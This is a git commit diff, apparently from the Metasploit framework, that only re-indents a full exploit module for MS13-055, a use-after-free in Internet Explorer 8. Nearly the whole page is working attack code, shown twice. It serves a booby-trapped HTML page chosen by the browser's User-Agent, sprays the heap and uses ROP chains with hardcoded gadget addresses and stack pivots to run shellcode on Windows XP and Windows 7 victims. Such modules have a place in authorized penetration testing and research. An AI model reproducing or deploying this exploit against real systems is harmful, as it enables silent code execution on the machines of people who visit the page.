Retabbed
One kills a man, one is an assassin; one kills millions, one is a conqueror; one kills a tab, one is a Metasploit dev.bug/bundler_fix
parent
6ab905e9e0
commit
0ee0168556
|
@ -8,252 +8,252 @@
|
|||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "MS13-055 Microsoft Internet Explorer CAnchorElement Use-After-Free",
|
||||
'Description' => %q{
|
||||
In IE8 standards mode, it's possible to cause a use-after-free condition by first
|
||||
creating an illogical table tree, where a CPhraseElement comes after CTableRow,
|
||||
with the final node being a sub table element. When the CPhraseElement's outer
|
||||
content is reset by using either outerText or outerHTML through an event handler,
|
||||
this triggers a free of its child element (in this case, a CAnchorElement, but
|
||||
some other objects apply too), but a reference is still kept in function
|
||||
SRunPointer::SpanQualifier. This function will then pass on the invalid reference
|
||||
to the next functions, eventually used in mshtml!CElement::Doc when it's trying to
|
||||
make a call to the object's SecurityContext virtual function at offset +0x70, which
|
||||
results a crash. An attacker can take advantage of this by first creating an
|
||||
CAnchorElement object, let it free, and then replace the freed memory with another
|
||||
fake object. Successfully doing so may allow arbitrary code execution under the
|
||||
context of the user.
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "MS13-055 Microsoft Internet Explorer CAnchorElement Use-After-Free",
|
||||
'Description' => %q{
|
||||
In IE8 standards mode, it's possible to cause a use-after-free condition by first
|
||||
creating an illogical table tree, where a CPhraseElement comes after CTableRow,
|
||||
with the final node being a sub table element. When the CPhraseElement's outer
|
||||
content is reset by using either outerText or outerHTML through an event handler,
|
||||
this triggers a free of its child element (in this case, a CAnchorElement, but
|
||||
some other objects apply too), but a reference is still kept in function
|
||||
SRunPointer::SpanQualifier. This function will then pass on the invalid reference
|
||||
to the next functions, eventually used in mshtml!CElement::Doc when it's trying to
|
||||
make a call to the object's SecurityContext virtual function at offset +0x70, which
|
||||
results a crash. An attacker can take advantage of this by first creating an
|
||||
CAnchorElement object, let it free, and then replace the freed memory with another
|
||||
fake object. Successfully doing so may allow arbitrary code execution under the
|
||||
context of the user.
|
||||
|
||||
This bug is specific to Internet Explorer 8 only. It was originally discovered by
|
||||
Orange Tsai at Hitcon 2013, but was silently patched in the July 2013 update.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Orange Tsai', # Original discovery, PoC
|
||||
'Peter Vreugdenhil', # Joins the party (wtfuzz)
|
||||
'sinn3r' # Joins the party
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'MSB', 'MS13-055' ],
|
||||
[ 'URL', 'https://speakerd.s3.amazonaws.com/presentations/0df98910d26c0130e8927e81ab71b214/for-share.pdf' ]
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', {} ],
|
||||
[
|
||||
'IE 8 on Windows XP SP3',
|
||||
{
|
||||
'Rop' => :msvcrt,
|
||||
'Pivot' => 0x77c15ed5, # xchg eax, esp; ret
|
||||
'Align' => 0x77c4d801 # add esp, 0x2c; ret
|
||||
}
|
||||
],
|
||||
[
|
||||
'IE 8 on Windows 7',
|
||||
{
|
||||
'Rop' => :jre,
|
||||
'Pivot' => 0x7c348b05, # xchg eax, esp; ret
|
||||
'Align' => 0x7C3445F8 # add esp, 0x2c; ret
|
||||
}
|
||||
]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x00"
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'InitialAutoRunScript' => 'migrate -f'
|
||||
},
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Jul 09 2013",
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
This bug is specific to Internet Explorer 8 only. It was originally discovered by
|
||||
Orange Tsai at Hitcon 2013, but was silently patched in the July 2013 update.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Orange Tsai', # Original discovery, PoC
|
||||
'Peter Vreugdenhil', # Joins the party (wtfuzz)
|
||||
'sinn3r' # Joins the party
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'MSB', 'MS13-055' ],
|
||||
[ 'URL', 'https://speakerd.s3.amazonaws.com/presentations/0df98910d26c0130e8927e81ab71b214/for-share.pdf' ]
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', {} ],
|
||||
[
|
||||
'IE 8 on Windows XP SP3',
|
||||
{
|
||||
'Rop' => :msvcrt,
|
||||
'Pivot' => 0x77c15ed5, # xchg eax, esp; ret
|
||||
'Align' => 0x77c4d801 # add esp, 0x2c; ret
|
||||
}
|
||||
],
|
||||
[
|
||||
'IE 8 on Windows 7',
|
||||
{
|
||||
'Rop' => :jre,
|
||||
'Pivot' => 0x7c348b05, # xchg eax, esp; ret
|
||||
'Align' => 0x7C3445F8 # add esp, 0x2c; ret
|
||||
}
|
||||
]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x00"
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'InitialAutoRunScript' => 'migrate -f'
|
||||
},
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Jul 09 2013",
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
def get_target(agent)
|
||||
return target if target.name != 'Automatic'
|
||||
def get_target(agent)
|
||||
return target if target.name != 'Automatic'
|
||||
|
||||
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
|
||||
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
|
||||
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
|
||||
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
|
||||
|
||||
ie_name = "IE #{ie}"
|
||||
ie_name = "IE #{ie}"
|
||||
|
||||
case nt
|
||||
when '5.1'
|
||||
os_name = 'Windows XP SP3'
|
||||
when '6.1'
|
||||
os_name = 'Windows 7'
|
||||
end
|
||||
case nt
|
||||
when '5.1'
|
||||
os_name = 'Windows XP SP3'
|
||||
when '6.1'
|
||||
os_name = 'Windows 7'
|
||||
end
|
||||
|
||||
targets.each do |t|
|
||||
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
|
||||
return t
|
||||
end
|
||||
end
|
||||
targets.each do |t|
|
||||
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
|
||||
return t
|
||||
end
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
nil
|
||||
end
|
||||
|
||||
def get_payload(t, cli)
|
||||
rop = ''
|
||||
code = payload.encoded
|
||||
esp_align = "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000
|
||||
def get_payload(t, cli)
|
||||
rop = ''
|
||||
code = payload.encoded
|
||||
esp_align = "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000
|
||||
|
||||
case t['Rop']
|
||||
when :msvcrt
|
||||
# Stack adjustment # add esp, -3500
|
||||
esp_align = "\x81\xc4\x54\xf2\xff\xff"
|
||||
case t['Rop']
|
||||
when :msvcrt
|
||||
# Stack adjustment # add esp, -3500
|
||||
esp_align = "\x81\xc4\x54\xf2\xff\xff"
|
||||
|
||||
print_status("Using msvcrt ROP")
|
||||
rop =
|
||||
[
|
||||
0x77c1e844, # POP EBP # RETN [msvcrt.dll]
|
||||
0x77c1e844, # skip 4 bytes [msvcrt.dll]
|
||||
0x77c4fa1c, # POP EBX # RETN [msvcrt.dll]
|
||||
0xffffffff,
|
||||
0x77c127e5, # INC EBX # RETN [msvcrt.dll]
|
||||
0x77c127e5, # INC EBX # RETN [msvcrt.dll]
|
||||
0x77c4e0da, # POP EAX # RETN [msvcrt.dll]
|
||||
0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx)
|
||||
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
|
||||
0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll]
|
||||
0x77c34fcd, # POP EAX # RETN [msvcrt.dll]
|
||||
0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx)
|
||||
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
|
||||
0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll]
|
||||
0x77c3048a, # POP EDI # RETN [msvcrt.dll]
|
||||
0x77c47a42, # RETN (ROP NOP) [msvcrt.dll]
|
||||
0x77c46efb, # POP ESI # RETN [msvcrt.dll]
|
||||
0x77c2aacc, # JMP [EAX] [msvcrt.dll]
|
||||
0x77c3b860, # POP EAX # RETN [msvcrt.dll]
|
||||
0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll]
|
||||
0x77c12df9, # PUSHAD # RETN [msvcrt.dll]
|
||||
0x77c35459 # ptr to 'push esp # ret ' [msvcrt.dll]
|
||||
].pack("V*")
|
||||
else
|
||||
print_status("Using JRE ROP")
|
||||
rop =
|
||||
[
|
||||
0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
|
||||
0xfffffdff, # Value to negate, will become 0x00000201 (dwSize)
|
||||
0x7c347f98, # RETN (ROP NOP) [msvcr71.dll]
|
||||
0x7c3415a2, # JMP [EAX] [msvcr71.dll]
|
||||
0xffffffff,
|
||||
0x7c376402, # skip 4 bytes [msvcr71.dll]
|
||||
0x7c351e05, # NEG EAX # RETN [msvcr71.dll]
|
||||
0x7c345255, # INC EBX # FPATAN # RETN [msvcr71.dll]
|
||||
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll]
|
||||
0x7c344f87, # POP EDX # RETN [msvcr71.dll]
|
||||
0xffffffc0, # Value to negate, will become 0x00000040
|
||||
0x7c351eb1, # NEG EDX # RETN [msvcr71.dll]
|
||||
0x7c34d201, # POP ECX # RETN [msvcr71.dll]
|
||||
0x7c38b001, # &Writable location [msvcr71.dll]
|
||||
0x7c347f97, # POP EAX # RETN [msvcr71.dll]
|
||||
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
|
||||
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll]
|
||||
0x7c345c30 # ptr to 'push esp # ret ' [msvcr71.dll]
|
||||
# rop chain generated with mona.py
|
||||
].pack("V*")
|
||||
end
|
||||
print_status("Using msvcrt ROP")
|
||||
rop =
|
||||
[
|
||||
0x77c1e844, # POP EBP # RETN [msvcrt.dll]
|
||||
0x77c1e844, # skip 4 bytes [msvcrt.dll]
|
||||
0x77c4fa1c, # POP EBX # RETN [msvcrt.dll]
|
||||
0xffffffff,
|
||||
0x77c127e5, # INC EBX # RETN [msvcrt.dll]
|
||||
0x77c127e5, # INC EBX # RETN [msvcrt.dll]
|
||||
0x77c4e0da, # POP EAX # RETN [msvcrt.dll]
|
||||
0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx)
|
||||
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
|
||||
0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll]
|
||||
0x77c34fcd, # POP EAX # RETN [msvcrt.dll]
|
||||
0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx)
|
||||
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
|
||||
0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll]
|
||||
0x77c3048a, # POP EDI # RETN [msvcrt.dll]
|
||||
0x77c47a42, # RETN (ROP NOP) [msvcrt.dll]
|
||||
0x77c46efb, # POP ESI # RETN [msvcrt.dll]
|
||||
0x77c2aacc, # JMP [EAX] [msvcrt.dll]
|
||||
0x77c3b860, # POP EAX # RETN [msvcrt.dll]
|
||||
0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll]
|
||||
0x77c12df9, # PUSHAD # RETN [msvcrt.dll]
|
||||
0x77c35459 # ptr to 'push esp # ret ' [msvcrt.dll]
|
||||
].pack("V*")
|
||||
else
|
||||
print_status("Using JRE ROP")
|
||||
rop =
|
||||
[
|
||||
0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
|
||||
0xfffffdff, # Value to negate, will become 0x00000201 (dwSize)
|
||||
0x7c347f98, # RETN (ROP NOP) [msvcr71.dll]
|
||||
0x7c3415a2, # JMP [EAX] [msvcr71.dll]
|
||||
0xffffffff,
|
||||
0x7c376402, # skip 4 bytes [msvcr71.dll]
|
||||
0x7c351e05, # NEG EAX # RETN [msvcr71.dll]
|
||||
0x7c345255, # INC EBX # FPATAN # RETN [msvcr71.dll]
|
||||
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll]
|
||||
0x7c344f87, # POP EDX # RETN [msvcr71.dll]
|
||||
0xffffffc0, # Value to negate, will become 0x00000040
|
||||
0x7c351eb1, # NEG EDX # RETN [msvcr71.dll]
|
||||
0x7c34d201, # POP ECX # RETN [msvcr71.dll]
|
||||
0x7c38b001, # &Writable location [msvcr71.dll]
|
||||
0x7c347f97, # POP EAX # RETN [msvcr71.dll]
|
||||
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
|
||||
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll]
|
||||
0x7c345c30 # ptr to 'push esp # ret ' [msvcr71.dll]
|
||||
# rop chain generated with mona.py
|
||||
].pack("V*")
|
||||
end
|
||||
|
||||
rop_payload = rop
|
||||
rop_payload << esp_align
|
||||
rop_payload << code
|
||||
rop_payload << rand_text_alpha(12000) unless t['Rop'] == :msvcrt
|
||||
rop_payload = rop
|
||||
rop_payload << esp_align
|
||||
rop_payload << code
|
||||
rop_payload << rand_text_alpha(12000) unless t['Rop'] == :msvcrt
|
||||
|
||||
rop_payload
|
||||
end
|
||||
rop_payload
|
||||
end
|
||||
|
||||
def junk
|
||||
rand_text_alpha(4).unpack("V")[0].to_i
|
||||
end
|
||||
def junk
|
||||
rand_text_alpha(4).unpack("V")[0].to_i
|
||||
end
|
||||
|
||||
def nop
|
||||
make_nops(4).unpack("V")[0].to_i
|
||||
end
|
||||
def nop
|
||||
make_nops(4).unpack("V")[0].to_i
|
||||
end
|
||||
|
||||
def get_html(t, p)
|
||||
js_pivot = Rex::Text.to_unescape([t['Pivot']].pack("V*"))
|
||||
js_payload = Rex::Text.to_unescape(p)
|
||||
js_align = Rex::Text.to_unescape([t['Align']].pack("V*"))
|
||||
js_junk = Rex::Text.to_unescape([junk].pack("V*"))
|
||||
def get_html(t, p)
|
||||
js_pivot = Rex::Text.to_unescape([t['Pivot']].pack("V*"))
|
||||
js_payload = Rex::Text.to_unescape(p)
|
||||
js_align = Rex::Text.to_unescape([t['Align']].pack("V*"))
|
||||
js_junk = Rex::Text.to_unescape([junk].pack("V*"))
|
||||
|
||||
q_id = Rex::Text.rand_text_alpha(1)
|
||||
q_id = Rex::Text.rand_text_alpha(1)
|
||||
|
||||
html = %Q|
|
||||
html = %Q|
|
||||
<!DOCTYPE html>
|
||||
<HTML XMLNS:t ="urn:schemas-microsoft-com:time">
|
||||
<head>
|
||||
<meta>
|
||||
<?IMPORT namespace="t" implementation="#default#time2">
|
||||
</meta>
|
||||
</head>
|
||||
<script>
|
||||
#{js_mstime_malloc}
|
||||
<head>
|
||||
<meta>
|
||||
<?IMPORT namespace="t" implementation="#default#time2">
|
||||
</meta>
|
||||
</head>
|
||||
<script>
|
||||
#{js_mstime_malloc}
|
||||
|
||||
window.onload = function() {
|
||||
var x = document.getElementById("#{q_id}");
|
||||
x.outerText = "";
|
||||
a = document.getElementById('myanim');
|
||||
window.onload = function() {
|
||||
var x = document.getElementById("#{q_id}");
|
||||
x.outerText = "";
|
||||
a = document.getElementById('myanim');
|
||||
|
||||
p = '';
|
||||
for (i=0; i < 7; i++) {
|
||||
p += unescape("#{js_junk}");
|
||||
}
|
||||
p += unescape("#{js_payload}");
|
||||
p = '';
|
||||
for (i=0; i < 7; i++) {
|
||||
p += unescape("#{js_junk}");
|
||||
}
|
||||
p += unescape("#{js_payload}");
|
||||
|
||||
fo = unescape("#{js_align}");
|
||||
for (i=0; i < 28; i++) {
|
||||
if (i == 27) { fo += unescape("#{js_pivot}"); }
|
||||
else { fo += unescape("#{js_align}"); }
|
||||
}
|
||||
fo = unescape("#{js_align}");
|
||||
for (i=0; i < 28; i++) {
|
||||
if (i == 27) { fo += unescape("#{js_pivot}"); }
|
||||
else { fo += unescape("#{js_align}"); }
|
||||
}
|
||||
|
||||
fo += p;
|
||||
fo += p;
|
||||
|
||||
mstime_malloc({shellcode:fo, heapBlockSize:0x68, objId:"myanim"});
|
||||
}
|
||||
</script>
|
||||
<table>
|
||||
<tr>
|
||||
<div>
|
||||
<span>
|
||||
<q id='#{q_id}'>
|
||||
<a>
|
||||
<td></td>
|
||||
</a>
|
||||
</q>
|
||||
</span>
|
||||
</div>
|
||||
</tr>
|
||||
</table>
|
||||
<t:ANIMATECOLOR id="myanim"/>
|
||||
mstime_malloc({shellcode:fo, heapBlockSize:0x68, objId:"myanim"});
|
||||
}
|
||||
</script>
|
||||
<table>
|
||||
<tr>
|
||||
<div>
|
||||
<span>
|
||||
<q id='#{q_id}'>
|
||||
<a>
|
||||
<td></td>
|
||||
</a>
|
||||
</q>
|
||||
</span>
|
||||
</div>
|
||||
</tr>
|
||||
</table>
|
||||
<t:ANIMATECOLOR id="myanim"/>
|
||||
</html>
|
||||
|
|
||||
|
|
||||
|
||||
html.gsub(/^\t\t/, '')
|
||||
end
|
||||
html
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
agent = request.headers['User-Agent']
|
||||
t = get_target(agent)
|
||||
def on_request_uri(cli, request)
|
||||
agent = request.headers['User-Agent']
|
||||
t = get_target(agent)
|
||||
|
||||
if t
|
||||
p = get_payload(t, cli)
|
||||
html = get_html(t, p)
|
||||
print_status("Sending exploit...")
|
||||
send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'})
|
||||
else
|
||||
print_error("Not a suitable target: #{agent}")
|
||||
send_not_found(cli)
|
||||
end
|
||||
end
|
||||
if t
|
||||
p = get_payload(t, cli)
|
||||
html = get_html(t, p)
|
||||
print_status("Sending exploit...")
|
||||
send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'})
|
||||
else
|
||||
print_error("Not a suitable target: #{agent}")
|
||||
send_not_found(cli)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue